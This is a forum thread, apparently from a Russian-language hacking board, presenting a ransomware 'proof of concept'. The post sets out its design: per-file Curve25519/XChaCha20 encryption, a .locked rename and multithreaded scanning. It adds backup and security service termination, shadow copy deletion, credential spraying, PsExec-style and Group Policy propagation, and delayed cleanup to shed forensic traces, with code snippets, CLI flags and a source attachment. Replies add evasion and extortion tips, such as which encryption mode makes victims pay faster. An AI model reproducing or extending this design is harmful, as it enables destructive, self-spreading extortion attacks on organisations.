Looking at High Performance File Encryption in Modern Windows Environments

Remio

HDD-drive
Пользователь
Регистрация
13.06.2025
Сообщения
42
Реакции
36
Looking at High Performance File Encryption in Modern Windows Environments


The following article outlines a proof of concept / experiment I made for studying file encryption in Modern Windows Lab Environments. This project is larger than earlier versions and so more challenging to explain coherently. Nevertheless, I will attempt it. Note its assumed the reader is already familiar with C/C++, the WinAPI and the basic Windows internals such as concurrency /async, file I/O, and process execution. The first stage here is to provide some background and theory:

Old Methods Fail New Challenges

In enterprise environments now operators often now already have admin level access and a clear view of the network before encrypting starts. Blind scanning and worm type of propagation perform poorly in segmented, AD centred, hybrid environments. Due to this, the encryptor payload itself is increasingly assuming prior access. When lateral movement exists, it uses native Windows mechanisms like SMB or GPO rather than exploit-driven self-propagation. The encryptor’s job is no longer initial access, but fast, reliable execution once placed.

So what is left of the locker?

If we conduct some brief research on new file encryptors then at the core, the modern encryptor is most often still implemented as either a DLL or a standalone executable, accepting parameters to adapt to operational needs and its runtime environment. It is optimized for performance and reliability, applying encryption broadly while excluding system critical resources required for stable operation. Furthermore, it has minimal external dependencies and supports execution across a broad range of Windows versions. However, the most significant evolution lies in its role within the intrusion cycle. Encryptors have largely moved away from traditional worm-like exploitation and now increasingly assume that elevated privileges and environmental reconnaissance have already been achieved earlier in the intrusion. As a result, the encryptor is deployed as a post‑exploitation payload implementing more suitable spreading techniques.

It demonstrates how modern encryptors can integrate a broad spectrum of advanced capabilities, including system enumeration, command execution, process and service termination, auto‑logon persistence, shadow copy and log deletion, lateral movement via SMB/PsExec or Group Policy and of course data encryption.

The objective of this project is to replicate these functional characteristics within a framework that better reflects architectural design of modern encryptors. Previous iterations employed a comparatively simplistic approach in which network enumeration was bolted directly into the main execution flow and shared a thread pool with file encryption tasks. This design introduced serious bottlenecks, particularly when local and remote I/O were mixed, relied on enumeration techniques poorly suited to modern environments, and lacked support for runtime configuration / the ability to accept parameters. This project will aim to also address limitations of previous designs by integrating core functionality into a new framework

Choosing The Scheme For Encryption

The primary goal of the crypter is to be as fast as possible by utilizing any available hardware resources. In modern environments encryption performance is mostly bounded by CPU throughput /storage bandwidth and therefore the design should prioritize algorithms / modes that scale well fore multiple cores and minimize synchronization overhead. AES in CBC / CTR modes can achieve extremely high throughput on systems with AES‑NI support (mostly all modern systems), as these instructions offload critical operations to the dedicated hardware. However, AES performance degrades significantly on systems without hardware acceleration and introduces additional complexity around padding, block alignment, and mode‑specific edge cases.

For the asymmetric part, that is the key agreement, Curve25519 ECDH is chosen as it provides fast scalar multiplication with a fixed curve and 32-byte keys. The curve25519-donna implementation runs efficiently on x86/x64 without special instructions. Each file gets an ephemeral keypair. The ephemeral secret combines with the patched master public key to generate a shared secret. HKDF-SHA512 then stretches this into usable key material, using the ephemeral public key as salt and "enc" as the info string. The first 32 bytes become the XChaCha20 key. This gives per-file unique keys while allowing decryption with a single master private key stored in the decryptor.

ChaCha20 / XChaCha20, is designed for high performance in software and provides consistent throughput across a wide range of CPUs, including systems without specialized crypto instructions. It is extremely efficient on x86 and x64 architectures, avoids data‑dependent memory access, and parallelizes cleanly without reliance on CPU‑specific features. Its therefore well suited for highly multithreaded file encryption workloads where predictable performance and portability are more important than peak single‑core throughput on specific hardware. For these reasons, the design favors XChaCha20 as a fast and scalable primitive for performing bulk file encryption.

In practice, the choice of high-performance symmetric encryption algorithms boils down usually to AES and ChaCha20 as most other algorithms fail to meet the combined requirements of security, performance and hardware efficiency.

Multithreading

To achieve the fastest possible file encryption it should be able to execute concurrently. By running multiple worker tasks in parallel, the system can utilize all CPU cores and maximize storage throughput while making sure that slower operations like network or disk access don't block overall progress. This allows each file to be processed independently and keeps cryptographic operations stateless. Here we shall simply take advantage of Windows’ native threadpool API to efficiently manage worker threads and allow the OS to schedule tasks dynamically to avoid having to manually babysit individual threads.

The encryptor in our demonstration shall follow a producer / consumer scheme, where the scanner acts as the producer, walking directory trees and filtering paths through exclusion lists. For each target file, it will heap‑allocates the path, increment an atomic work counter (InterlockedIncrement), and submit the task to a threadpool. This allows the scanner to traverse the entire filesystem while worker threads process files in parallel. Workers act as consumers, pulling tasks from the queue and processing them independently. Each worker opens a file, generates ephemeral keys, encrypts data in 1 MB chunks using a VirtualAlloc’d buffer, appends metadata, renames the file to a .locked extension, and decrements the counter on completion. Failures are isolated; for example, locked files or access errors simply bail to the next task.

The main thread will wait until the counter reaches zero, at which point cleanup begins. Local files will be handled by a 2–256 thread pool, while network paths (detected by \\?\UNC\ prefix) will route to separate 1–8 thread pool to avoid exhausting the network. Synchronization should be minimal as g_ActiveWorkCount is the only shared state and is manipulated exclusively via interlocked operations. Crypto operations will be per‑file and use stack‑local key material, with large I/O buffers allocated on the heap. The BCrypt RNG is thread‑safe and Curve25519/XChaCha20 maintain no global state. Scaling then will effectively be linear with core count and the man bottlenecks should be crypto throughput and storage bandwidth rather than synchronization. Essentially the philosophy is to maximize parallelism and push bottlenecks to hardware limits (CPU throughput and storage bandwidth).

CLI Parameters

In order to fully leverage the encryption scheme, the encryptor will be able to use a set of runtime CLI parameters. These parameters allow behavior to be modified without changing the binary, providing control over which modules execute, how broadly encryption is applied, which targets are processed etc. If we examine new encryptors, a set of commonly recurring parameter options can be observed. These typically include controls for encryption scope (full /partial encryption), target selection, module activation (such as shadow copy deletion or lateral movement) and other such options. Such options appear consistently because they address practical operational trade-offs: balancing encryption speed against coverage, limiting impact to specific paths or systems, and controlling when auxiliary actions are executed relative to the core encryption process. Following this same approach, our program should use a comparable set of runtime parameters, allowing encryption behavior and supporting functionality to be adjusted without altering the binary itself.

Lateral Spread / Network

The lateral module for now will have two propagation methods: credential based spreading through administrative shares (PsExec type) and domain-wide deployment by using Group Policy Object. Both techniques assumes operator already has administrative privileges on at least one system and can use Windows native mechanisms rather than exploit.

PsExec-Style : The PsExec type of approach essentially is copying the behavior of tools like PsExec and Impacket. It starts with host discovery using NetServerEnum, enumerating servers and workstations in the domain. For each discovered host, the code attempts to establish a connection to the IPC$ share with WNetAddConnection2W. If the -creds flag is set, it iterates through the hardcoded credential list (CRED_LIST) and attempts authentication with each username/password pair. Without -creds flag it relies on the current user's token.

Once authenticated the module validates administrative access by checking for the ADMIN$ share using GetFileAttributesW. If ADMIN$ is accessible then the payload binary is copied to the remote system's ADMIN$ share (usually C:\Windows). Remote execution is then attempted bytwo methods: service creation via OpenSCManager and CreateServiceW or scheduled task creation using a remote schtasks command. Service names and task names are randomized to avoid static signatures and for now the module doesn't verify successful execution, it simply moves to the next target. This technique is effective in flat networks like simple AD labs. However note that it generates significant signalling from repeated authentication attempts, service creation events (Event ID 7045), scheduled task creation (Event ID 4698), suspicious ADMIN$ access patterns etc.

GPO style: The GPO technique targets domain-joined environments. Instead of individually copying the binary to each host, it deploys a startup script through Group Policy that executes automatically on all domain computers during their next boot or Group Policy refresh.bThe lateral module uses ADSI (Active Directory Service Interfaces) to interact with the domain. It binds to the default domain's Group Policy Objects container in LDAP, creates a new GPO with a randomized GUID and then writes the payload to the domain SYSVOL share under the GPO's scripts directory. It then creates a scripts.ini file that references the payload as a startup script. Last it links the GPO to the domain root using the gPLink attribute, ensuring it applies to all computers.

GUID of the created GPO is stored in g_CreatedGPOGuid. If the -gdel flag is active, the code will later unlink and delete the GPO either immediately after encryption or on a delayed schedule using -delay. Cleanup reduces forensic artifacts but requires the payload to retain domain admin privileges at cleanup time.

For cloud / hybrid environments potential for movement changes entirely. Traditional SMB based spreading assumes on site infrastructures,but Azure AD Join replaces domain join and Intune replaces Group Policy. So to improve the program it could explore using Intune management capability to deploy config profiles / PowerShell scripts etc to enrolled devices. Azure AD conditional access policies, device compliance requirements, and application proxy features provide alternative movement paths. Exploiting stolen Azure AD refresh tokens, service principal credentials, or misconfigured managed identities would show more how lateral movement adapts to OAuth-based authentication flows rather than NTLM/Kerberos. The speed of the encryptor also can offset noisy techniques by outpacing response cycles. High I/O throughput processes hundreds of gigabytes in minutes, and GPO spreading leverages native AD replication without per-host delays. Anti-analysis checks, delayed execution, VM detection, and API obfuscation of course also extend the window where speed dominates.

NetServerEnum for domain discovery and WNetAddConnection2W for SMB authentication is ok for our demo / AD lab, but alternative methods can be explored. You could integrate WMI-based propagation (Win32_Process.Create), DCOM execution (MMC20.Application), or scheduled tasks via ITaskScheduler COM interfaces. Testing credential validation beyond simple ADMIN$ checks like querying remote registry, WMI namespaces, or attempting specific service operations would provide more realistic operational patterns. Retry logic, exponential backoff, and failure handling could be added to mirror how new encryptors handle authentication failures or network interrupt.

Demonstrational Program & Build


The structure of the compiled program remains as follows:
Код:
├── Builder.exe
└── Stub/
    ├── enc.bin
    └── dec.bin

It should be built for release on x86 but can be x64 also.

Builder.exe

The builder generates matched encryptor/decryptor pairs with cryptographic keys. It handles key generation, binary patching, and decryption instruction embedding. A Curve25519 keypair is generated using BCryptGenRandom. The private key is clamped to spec, and the public key is derived against the base point using scalar multiplication. The public key gets written into the encryptor, the private key into the decryptor.

The builder reads two template binaries from the stub directory: enc.bin (encryptor template) and dec.bin (decryptor template). These templates contain placeholder patterns that get searched and replaced. For the encryptor, "curvpattern" is replaced with the public key. For the decryptor, "decryptpattern" is replaced with the private key. The decryption instruction note is loaded from note.txt or uses a default message. Content is encrypted using XChaCha20 with a hardcoded key and nonce. The encrypted note embeds into the encryptor by locating "notepattern" and writing the note size (4 bytes before the pattern) plus encrypted data.

After patching, encryptor.exe and decryptor.exe are written to disk. The builder also exports master_public.key and master_private.key for backup.

Other than this the builder largely remains unchanged from previous iterations because the core cryptographic scheme is identical. Files are still encrypted using per-file ephemeral Curve25519 keys, HKDF-SHA512 derivation, and XChaCha20. The structure of the 72 byte footer hasn't changed. Since decryption depends only on the cryptographic implementation, not the architectural improvements like dual threadpools or modular lateral movement the existing builder and decryptor require no modifications and remain fully compatible. Future improvements could extend the builder with external config support (JSON / YAML) to allow key generation, embedding options, or metadata handling to be adjusted without recompilation.

Enc.bin

The encryptor binary (enc.bin) serves as a template that the builder patches with cryptographic keys on build time. The compiled stub contains placeholder patterns "curvpattern" for the master public key and "notepattern" for the encrypted decryption instruction note that get replaced with actual values during the patching process. Once patched, this becomes the standalone encryptor executable that operates independently without any external dependencies or builder interaction.

The encryption scheme in our demonstration shall remain largely unchanged and still use Curve25519 ECDH for key agreement, HKDF-SHA512 for derivation and XChaCha20 for encryption. When run each file gets a unique ephemeral Curve25519 keypair. The private key (esk) is generated via BCryptGenRandom and clamped and the public key (epk) is computed against the standard base point. A shared secret is derived by scalar multiplication between the ephemeral private key and patched in master public key. This shared secret combined with the ephemeral public key as salt feeds into HKDF-SHA512 with info string "enc" to produce 64 bytes (the first half become the 32 bytes encryption key).
C++:
// Generate ephemeral public key
curve25519_donna(epk, esk, BASE_POINT);

// Generate shared secret using ephemeral secret key and master public key
curve25519_donna(shared_secret, esk, master_public_key);

// derive the encryption key with HKDF-SHA512
HKDF_SHA512(
    epk,        // salt
    32,               // salt length
    shared_secret,     // input keying material
    32,     // IKM length
    (const uint8_t*)"enc", // info
    3,    // info length
    hkdf_output,    // output buffer
    64       // output length
);

// Use the first 32 bytes as the key
memcpy(derived_key, hkdf_output, 32);

// Setup XChaCha context with the derived key and IV
XChaCha_ctx ctx;
xchacha_keysetup(&ctx, derived_key, iv);

A random 24 bytes nonce initializes XChaCha20. Files are encrypted in-place using 1 MB VirtualAlloc buffer. The loop reads chunks, encrypts with xchacha_encrypt_bytes() and then writes back to the same offset. This continues until the file is done (full mode) or 64 KB is processed if using header-only encryption.

After encryption the 72-byte footer is appended containing the version ID for program, ephemeral public key (32 bytes), nonce (24 bytes), original file size (8 byte) and mode flag (4 bytes). The file is renamed to ".locked" extension.
C++:
#pragma pack(push, 1)

struct file_meta {
    uint32_t ver;
    uint8_t  epk[32];
    uint8_t  iv[24];
    uint64_t orig_sz;
    uint32_t mode;
};

#pragma pack(pop)

For decryption, the master private key with the stored ephemeral public key to reconstruct the shared secret and reverse the process. All crypto operations are done per-file and stateless. Key material lives on the stack and dies when the worker returns and I/O buffer is heap allocated to avoid stack exhaustion.

See below for a reference of each module:

Common

Here global state and constants are defined including runtime flags, credentials that will be used, threadpools, work counter, crypto constants, exclusion lists, version marker, Curve25519 basepoint, master key placeholders, decryption-note key and credential slots.

Crypter
This is the main cryptographic engine. Curve25519 ECDH generates the per-file ephemeral keys. Once its computed shared secret, with master pubkey feeds HKDF-SHA512 to derive XChaCha20 encryption keys. There is a random nonce per file and one of two Windows threadpools handle files depending on local I/O or network shares. Files are encrypted in 1MB chunks in producer / consumer pattern:
C++:
while (processed < target_size) {
    DWORD to_read = (DWORD)min((LONGLONG)IO_CHUNK_SIZE, target_size - processed);
    LARGE_INTEGER offset;
    offset.QuadPart = processed;

    SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);

    if (ReadFile(hFile, io_buffer, to_read, &bytes_io, NULL) && bytes_io > 0) {
        xchacha_encrypt_bytes(&ctx, io_buffer, io_buffer, (size_t)bytes_io);
        SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);
        WriteFile(hFile, io_buffer, bytes_io, &bytes_io, NULL);
        processed += (LONGLONG)bytes_io;
    } else {
        break;
    }
}

once complete a 72 bytes footer is appended with ephemeral pubkey, nonce, original size, and mode flag. Encrypted files are renamed to .locked. Runtime decryption of embedded decryption instruction is also done here.

Scanner
The scanner handles recursive volume and directory traversal, with long path support and mount resolution. The directory and extension exclusion lists are referenced to filter targets. UNC paths are routed to network threadpool for slower I/O:
C++:
InterlockedIncrement(&g_ActiveWorkCount);

bool is_network = (wcsncmp(full_path, L"\\\\?\\UNC\\", 8) == 0);
PTP_CALLBACK_ENVIRON env = is_network ? &g_NetworkEnv : &g_LocalEnv;

if (!TrySubmitThreadpoolCallback(
        (PTP_SIMPLE_CALLBACK)crypt_work_callback,
        full_path,
        env))
{
    InterlockedDecrement(&g_ActiveWorkCount);
    HeapFree(GetProcessHeap(), 0, full_path);
}

One decrypted README_decrypt.txt is dropped per processed directory.

Lateral
Lateral handles the host discovery and IPC$ reachability checks. Credential spraying via SMB against discovered hosts is done using the credentials and admin validation via ADMIN$ share access is tested:
C++:
// Discover hosts in domain
NetServerEnum(NULL, 100, (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH,
              &dwEntriesRead, &dwTotalEntries, SV_TYPE_WORKSTATION | SV_TYPE_SERVER, NULL, NULL);

// Attempt connection to IPC$ shares
WNetAddConnection2W(&nr, cred.password, cred.username, 0);

// Validate admin access via ADMIN$ share
GetFileAttributesW(L"\\\\target\\ADMIN$");

Remote execution through service creation or scheduled tasks is implemented. Payload is delivered via ADMIN$ share:
C++:
// Copy payload to remote ADMIN$ share
CopyFileW(local_path, L"\\\\target\\ADMIN$\\payload.exe", FALSE);

// Create service for remote execution
SC_HANDLE hSvc = CreateServiceW(hSCM, service_name, service_name,
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
    L"C:\\Windows\\payload.exe", NULL, NULL, NULL, NULL, NULL);

StartServiceW(hSvc, 0, NULL);

The optional GPO startup script deployment with GUID tracking logic is also included in this module.

killer
This module handles best-effort service and process termination via keyword matching. Services are enumerated through SCM, and running processes through CreateToolhelp32Snapshot. it matches against backup, security tools, etc and will try to trigger stop or terminate operations. It filters active services only and validates the service state before stoppin,. Process termination skips system processes and the current process to avoid self-termination.

Shadow
This module handles the deletion of volume shadow copy snapshot deletion by WMI queries to Win32_ShadowCopy. The code connects to the CIMV2 namespace, enumerates all shadow copies, and deletes each instance. This prevents file recovery through Windows restore points. Failures here are also treated as non critical.

Crypto (curve25519-donna, xchacha20 & HKDF-SHA512)
Curve25519-donna provides Curve25519 ECDH for the key agreement. XChaCha20 provides the stream cipher for encryption, with extended nonce support. HKDF-SHA512 is used for key derivation from shared secrets. These implementations are embedded directly in the project and operate without external dependencies or libraries.

Obfuscate
String obfuscation to hide plaintext in the compiled binary (based on AY_OBFUSCATE)

Main
Main entry point for the program. It handles CLI argument parsing for runtime options, UAC elevation, setting global mutex to prevent multiple instances. Crypto subsystem and threadpools are initialized, and the decryption instruction is decrypted:
C++:
stop_services();
kill_procs();

if (g_DeleteShadows)
    delete_shadows();

if (g_GroupPolicySpread)
    exec_gpo();

if (g_LateralSpread)
    exec_psex();

if (wcslen(g_TargetDir) > 0) {
    scan_directory(g_TargetDir);
} else {
    scan_all_volumes();
}

while (InterlockedCompareExchange(&g_ActiveWorkCount, 0, 0) > 0) {
    Sleep(100);
}

Execution order is defined: killer processes and services, shadow deletion, GPO spread, lateral movement via PsExec-style, then volume encryption. All work items are waited on for completion. GPO cleanup is performed either immediately or scheduled with task scheduler. A full list of available CLI parameters can be seen below:
Код:
-h: Displays help menu in the CLI.

-noMutex: Skips the global mutex check that prevents multiple instances from running. By default the program creates a named mutex (Global\\mutex) and exits if another instance is already running. This flag bypasses that check, allowing concurrent execution.

-ho: Enables header-only encryption mode, processes only first 64 KB of each file, simply reduces encryption time for large files while still usually rendering them unusable. The mode flag is stored in the metadata footer.

-f: Full-file encryption (default behavior). Encrypts the entire file regardless of its size.

-ds: Calls delete_shadows() to remove all Volume Shadow Copy snapshots through WMI before encryption begins.

-psex: Enables lateral movement via admin shares. Calls exec_psex() from the lateral module, which performs host discovery, credential spraying, and remote execution through service creation or scheduled tasks.

-gspd: Calls exec_gpo() to deploy a startup script via GPO, propagating the payload across domain-joined systems.

-creds: Instructs the lateral module to use the hardcoded credential list (CRED_LIST) for authentication attempts during lateral movement. Without this flag, lateral movement relies solely on current user context.

-gdel: Enables GPO cleanup after encryption completes. If a GPO was created during spreading, this flag triggers its removal via cleanup_gpo().

-delay [hours]: Schedules GPO cleanup to run after a specified delay (in hours) rather than immediately by creating a scheduled task that re-executes the binary with the -gdel flag at the specified time. Recommended values are 24-48 hours to allow propagation to complete before cleanup.

-dir [path]: Restricts encryption to a specific directory rather than scanning all volumes. The scanner processes only the specified path and its subdirectories.

Dec.bin

The decryptor binary (dec.bin) is our recovery tool. It gets patched with the master private key during the build process. Much the encryptor, it's a template containing the placeholder pattern "decryptpattern" that gets replaced with the master private key. Once patched in it operates as a standalone executable that can decrypt files without requiring the builder or any external configuration.

The decryptor is intentionally simplified compared to the encryptor for the sake of the example. It omits lateral movement, service termination, shadow deletion, and complex network enumeration and simply scans all mounted volumes recursively, identifies files with the .locked extension, and processes them through a threadpool callback.

For each encrypted file, the decryptor reads the 72-byte footer appended during encryption. This footer contains the version identifier, ephemeral public key, nonce, original file size, and encryption mode flag. Using the patched master private key and the ephemeral public key from the footer, it reconstructs the shared secret via Curve25519 scalar multiplication. The shared secret feeds into HKDF-SHA512 (with the ephemeral public key as salt and "enc" as info string) to derive the same 32-byte decryption key used during encryption. The decryptor initializes XChaCha20 with the derived key and nonce, then processes the file in 1MB chunks: reading, decrypting with xchacha_decrypt_bytes(), and writing back in place:
C++:
// Read footer from end of file
file_meta meta;
SetFilePointer(hFile, -(LONG)sizeof(file_meta), NULL, FILE_END);
ReadFile(hFile, &meta, sizeof(file_meta), &br, NULL);

// Reconstruct shared secret using master private key and ephemeral public key
uint8_t shared[32], dk[32], hkdf_out[64];
curve25519_donna(shared, master_private_key, meta.epk);

// derive the decryption key
HKDF_SHA512(meta.epk, 32, shared, 32, (const uint8_t*)"enc", 3, hkdf_out, 64);
memcpy(dk, hkdf_out, 32);
// Initialize XChaCha20 for decryption
XChaCha_ctx ctx;
xchacha_keysetup(&ctx, dk, meta.iv);

The decryptor then processes the file in 1MB chunks: reading, decrypting with xchacha_decrypt_bytes() and writing back in place:

C++:
LONGLONG target = meta.mode == 1 ?
    min((LONGLONG)(fs.QuadPart - sizeof(file_meta)), (LONGLONG)HEADER_SIZE_LIMIT) :
    (fs.QuadPart - sizeof(file_meta));

while (proc < target) {
    DWORD tr = (DWORD)min((LONGLONG)IO_CHUNK_SIZE, target - proc);
    SetFilePointerEx(hFile, off, NULL, FILE_BEGIN);
    if (ReadFile(hFile, buf, tr, &bio, NULL)) {
        xchacha_decrypt_bytes(&ctx, buf, buf, (size_t)bio);
        SetFilePointerEx(hFile, off, NULL, FILE_BEGIN);
        WriteFile(hFile, buf, bio, &bio, NULL);
        proc += bio;
    }
}

// Truncate to original size and remove .locked extension
SetFilePointerEx(hFile, ns, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
MoveFileExW(file_path, original_path, MOVEFILE_REPLACE_EXISTING);

If the file was encrypted in header-only mode (mode flag = 1), only the first 64KB is decrypted. After decryption is complete the file is truncate d to its original size and the .locked extension is removed.

The decryptor uses same producer / consumer pattern as the encryptor with the scanner acting as producer and threadpool workers as consumers. an atomicc work counter (g_ActiveWorkCount) tracks active decryption tasks. The main thread waits for this counter to reach zero before cleanup and termination. A global mutex prevents multiple instances from running simultaneously, avoiding conflicts during concurrent decryption attempts. Again in this example there is no network scanning, no credential handling, no privilege escalation.

Notes
This is a proof of concept / more of a study program wrote for educational and research use only, not suitable for live malware. It hasn't been tested across all network topologies, Windows versions, or security configs so strict firewalls, certificate-based authentication / EDRs will likely cause failures and there is crucially no C2 capability integrated.
 

Вложения

  • fileCrypter.zip
    128.4 КБ · Просмотры: 27
Interesting findings.

Is there any chance the code will compile on ARM platforms? Laptops running Windows on ARM architecture like those Snapdragon computers and what Microsoft and ASUS make are starting to gain popularity, but ARM has some incompatibilities with x86 that might affect library dependencies if they are assembly optimized, especially cryptography.
 
Interesting findings.

Is there any chance the code will compile on ARM platforms? Laptops running Windows on ARM architecture like those Snapdragon computers and what Microsoft and ASUS make are starting to gain popularity, but ARM has some incompatibilities with x86 that might affect library dependencies if they are assembly optimized, especially cryptography.
it should work on Windows on ARM because the crypto code is pure C / portable. As long as rest project links against ARM compatible windows libs it should build
 
I have read this carefully and this is my take :
Your breakdown of threadpool separation for local vs UNC paths is one of the cleaner approaches i havee seen to avoid network I/O poisoning the entire worker pool its very intesresting.i think most PoCs still hammer everything through one pool and then wonder why encryption slows to a crawl on shares.
XChaCha20 over AES CTR makes a lot of sense in this context, but what i think the lack of hardware dependency gives far more predictable scaling once you cross the like 20 to 30% of enterprise boxes that still dont have functioning AES NI and i think Yes they still exist.
The decision to keep GPO deployment but add optional delayed cleanup via scheduled task is smart opsec Movee like immediate unlink leaves a very loud LDAP trail, but let say 24 to 72 hour delay lets replication finish while the artefact window closes on most IR teams.
Credential spraying via hardcoded list + current token fallback is realistic, even tho in mature environments i think you will get caught faster by repeated Kerberos TGS requests than by the ADMIN touch itself. i could be wrng here
Splitting killer + shadow modules before encryption is correct sequencing, but consider moving shadow deletion even earlier (here right after elevation) because some EDRs now monitor Win32_ShadowCopy.DeleteInstance in near real fucking time.
Header only mode I mean (-ho) is useful for theatrical showning fast impact jobs, but in practice most modern ransomware groups we see online have dropped it and victims usually pay faster when they cantt open even small documents rather than when 400 GB of videos are crippled but Excel still opens.
Overall solid evolution from the earlier single- threaded versions still a good move, the only piece that feels still under cooked is lack of any memory resident talking about / process-hollowing execution path for the initial payload and once Defender ATP or SentinelOne sees enc.exe touch disk you are already racing the containment window.

Good stuff tho ;)
 
I have read this carefully and this is my take :
Your breakdown of threadpool separation for local vs UNC paths is one of the cleaner approaches i havee seen to avoid network I/O poisoning the entire worker pool its very intesresting.i think most PoCs still hammer everything through one pool and then wonder why encryption slows to a crawl on shares.
XChaCha20 over AES CTR makes a lot of sense in this context, but what i think the lack of hardware dependency gives far more predictable scaling once you cross the like 20 to 30% of enterprise boxes that still dont have functioning AES NI and i think Yes they still exist.
The decision to keep GPO deployment but add optional delayed cleanup via scheduled task is smart opsec Movee like immediate unlink leaves a very loud LDAP trail, but let say 24 to 72 hour delay lets replication finish while the artefact window closes on most IR teams.
Credential spraying via hardcoded list + current token fallback is realistic, even tho in mature environments i think you will get caught faster by repeated Kerberos TGS requests than by the ADMIN touch itself. i could be wrng here
Splitting killer + shadow modules before encryption is correct sequencing, but consider moving shadow deletion even earlier (here right after elevation) because some EDRs now monitor Win32_ShadowCopy.DeleteInstance in near real fucking time.
Header only mode I mean (-ho) is useful for theatrical showning fast impact jobs, but in practice most modern ransomware groups we see online have dropped it and victims usually pay faster when they cantt open even small documents rather than when 400 GB of videos are crippled but Excel still opens.
Overall solid evolution from the earlier single- threaded versions still a good move, the only piece that feels still under cooked is lack of any memory resident talking about / process-hollowing execution path for the initial payload and once Defender ATP or SentinelOne sees enc.exe touch disk you are already racing the containment window.

Good stuff tho ;)
Appreciate the read and time to go through it and share your thought many thanks
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх